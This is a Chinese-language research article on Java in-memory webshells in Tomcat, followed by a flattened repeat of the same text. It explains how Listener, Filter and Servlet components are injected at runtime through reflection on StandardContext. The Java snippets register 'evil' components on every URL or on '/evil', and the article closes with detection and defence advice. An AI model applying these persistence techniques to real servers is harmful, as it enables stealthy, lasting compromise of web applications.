Java内存马原理研究
字数 1683 2025-08-30 06:50:35

Java内存马原理研究

环境准备

Tomcat调试

  1. 获取Tomcat源码

    git clone https://github.com/apache/tomcat
    git checkout 8.5.x
    
  2. 构建工具

    • 下载Ant用于构建Tomcat依赖
    • 在Tomcat目录执行:ant ide-intellij
  3. 调试配置

    • 使用IntelliJ IDEA,安装Ant插件
    • 设置JDK 11环境
    • 主类入口:org.apache.catalina.startup.Bootstrap

内存马原理

WAR包部署过程

  1. WAR包处理

    • Tomcat重启时解压WAR包
    • 读取并解析web.xml文件
    • 配置Servlet、Filter、Listener等组件
  2. 关键方法

    • 入口:org.apache.catalina.startup.Bootstrap
    • 核心方法:startInternal()
    • 配置读取:webConfig()方法

HTTP请求生命周期

  1. 处理流程
    • Listener → Filter → Servlet
    • 重点关注Listener、Filter、Servlet三个组件的调用顺序

Listener内存马

Listener作用

  1. ServletRequestListener

    • 在Filter和Servlet处理请求前后调用
    • 关键方法:requestInitialized()requestDestroyed()
  2. 传统注册方式

    • 在web.xml中配置Listener类
    • Tomcat启动时加载

动态注册Listener

  1. 实现原理

    • 利用Servlet 3.0+的动态注册功能
    • 反射获取StandardContext对象
    • 调用addApplicationEventListener()方法
  2. 关键代码

    // 获取StandardContext
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
    Request req = (Request) reqField.get(request);
    StandardContext context = (StandardContext) req.getContext();
    
    // 创建并注册Listener
    context.addApplicationEventListener(new EvilListener());
    
  3. 内存马特点

    • 首次访问注册Listener
    • 后续任意请求触发恶意代码
    • 常驻内存直到应用停止或重新部署

Filter内存马

Filter作用

  1. 处理流程

    • 在Listener之后、Servlet之前执行
    • 可对请求进行预处理和后处理
  2. 传统注册方式

    • web.xml中配置<filter><filter-mapping>
    • Tomcat启动时初始化

FilterChain创建过程

  1. 关键组件

    • filterMaps:存储URL模式与Filter名称的映射
    • filterDefs:存储Filter定义信息
    • filterConfigs:存储运行时Filter配置
  2. 调用链

    • ApplicationFilterFactory.createFilterChain()
    • 通过filterMaps匹配URL
    • 通过filterConfigs获取Filter实例

动态注册Filter

  1. 实现步骤

    • 获取StandardContext对象
    • 创建并注册FilterDef
    • 创建并注册FilterMap
    • 创建ApplicationFilterConfig并添加到filterConfigs
  2. 关键代码

    // 创建FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(filterName);
    filterDef.setFilterClass(evilFilter.getClass().getName());
    filterDef.setFilter(evilFilter);
    context.addFilterDef(filterDef);
    
    // 创建FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(filterName);
    filterMap.addURLPattern("/*");
    context.addFilterMap(filterMap);
    
    // 创建FilterConfig
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
    
    // 添加到filterConfigs
    filterConfigs.put(filterName, filterConfig);
    

Servlet内存马

Servlet作用

  1. 处理流程

    • 请求处理的最后阶段
    • 实际业务逻辑执行处
  2. 传统注册方式

    • web.xml中配置<servlet><servlet-mapping>
    • 可通过load-on-startup控制初始化时机

动态注册Servlet

  1. 实现原理

    • 获取StandardContext对象
    • 创建Wrapper对象并设置Servlet类
    • 添加到StandardContextchildren
    • 设置URL映射
  2. 关键代码

    // 创建Wrapper
    Wrapper wrapper = context.createWrapper();
    wrapper.setName("evilServlet");
    wrapper.setLoadOnStartup(1);
    wrapper.setServletClass(EvilServlet.class.getName());
    
    // 添加到children
    context.addChild(wrapper);
    
    // 设置URL映射
    context.addServletMapping("/evil", "evilServlet");
    

总结

  1. 内存马类型

    • Listener内存马:最早触发,常驻内存
    • Filter内存马:灵活拦截,功能强大
    • Servlet内存马:业务逻辑层,隐蔽性高
  2. 关键技术点

    • 反射获取StandardContext对象
    • 理解Tomcat组件注册机制
    • 掌握动态注册组件的API
  3. 防御建议

    • 监控动态组件注册行为
    • 检查JSP文件异常修改
    • 实施运行时内存检测
  4. 扩展研究

    • 其他类型内存马(Valve, JSP等)
    • 内存马持久化技术
    • 内存马检测与对抗技术
Java内存马原理研究 环境准备 Tomcat调试 获取Tomcat源码 : 构建工具 : 下载Ant用于构建Tomcat依赖 在Tomcat目录执行: ant ide-intellij 调试配置 : 使用IntelliJ IDEA,安装Ant插件 设置JDK 11环境 主类入口: org.apache.catalina.startup.Bootstrap 内存马原理 WAR包部署过程 WAR包处理 : Tomcat重启时解压WAR包 读取并解析web.xml文件 配置Servlet、Filter、Listener等组件 关键方法 : 入口: org.apache.catalina.startup.Bootstrap 核心方法: startInternal() 配置读取: webConfig() 方法 HTTP请求生命周期 处理流程 : Listener → Filter → Servlet 重点关注Listener、Filter、Servlet三个组件的调用顺序 Listener内存马 Listener作用 ServletRequestListener : 在Filter和Servlet处理请求前后调用 关键方法: requestInitialized() 和 requestDestroyed() 传统注册方式 : 在web.xml中配置Listener类 Tomcat启动时加载 动态注册Listener 实现原理 : 利用Servlet 3.0+的动态注册功能 反射获取 StandardContext 对象 调用 addApplicationEventListener() 方法 关键代码 : 内存马特点 : 首次访问注册Listener 后续任意请求触发恶意代码 常驻内存直到应用停止或重新部署 Filter内存马 Filter作用 处理流程 : 在Listener之后、Servlet之前执行 可对请求进行预处理和后处理 传统注册方式 : web.xml中配置 <filter> 和 <filter-mapping> Tomcat启动时初始化 FilterChain创建过程 关键组件 : filterMaps :存储URL模式与Filter名称的映射 filterDefs :存储Filter定义信息 filterConfigs :存储运行时Filter配置 调用链 : ApplicationFilterFactory.createFilterChain() 通过 filterMaps 匹配URL 通过 filterConfigs 获取Filter实例 动态注册Filter 实现步骤 : 获取 StandardContext 对象 创建并注册 FilterDef 创建并注册 FilterMap 创建 ApplicationFilterConfig 并添加到 filterConfigs 关键代码 : Servlet内存马 Servlet作用 处理流程 : 请求处理的最后阶段 实际业务逻辑执行处 传统注册方式 : web.xml中配置 <servlet> 和 <servlet-mapping> 可通过 load-on-startup 控制初始化时机 动态注册Servlet 实现原理 : 获取 StandardContext 对象 创建 Wrapper 对象并设置Servlet类 添加到 StandardContext 的 children 中 设置URL映射 关键代码 : 总结 内存马类型 : Listener内存马:最早触发,常驻内存 Filter内存马:灵活拦截,功能强大 Servlet内存马:业务逻辑层,隐蔽性高 关键技术点 : 反射获取 StandardContext 对象 理解Tomcat组件注册机制 掌握动态注册组件的API 防御建议 : 监控动态组件注册行为 检查JSP文件异常修改 实施运行时内存检测 扩展研究 : 其他类型内存马(Valve, JSP等) 内存马持久化技术 内存马检测与对抗技术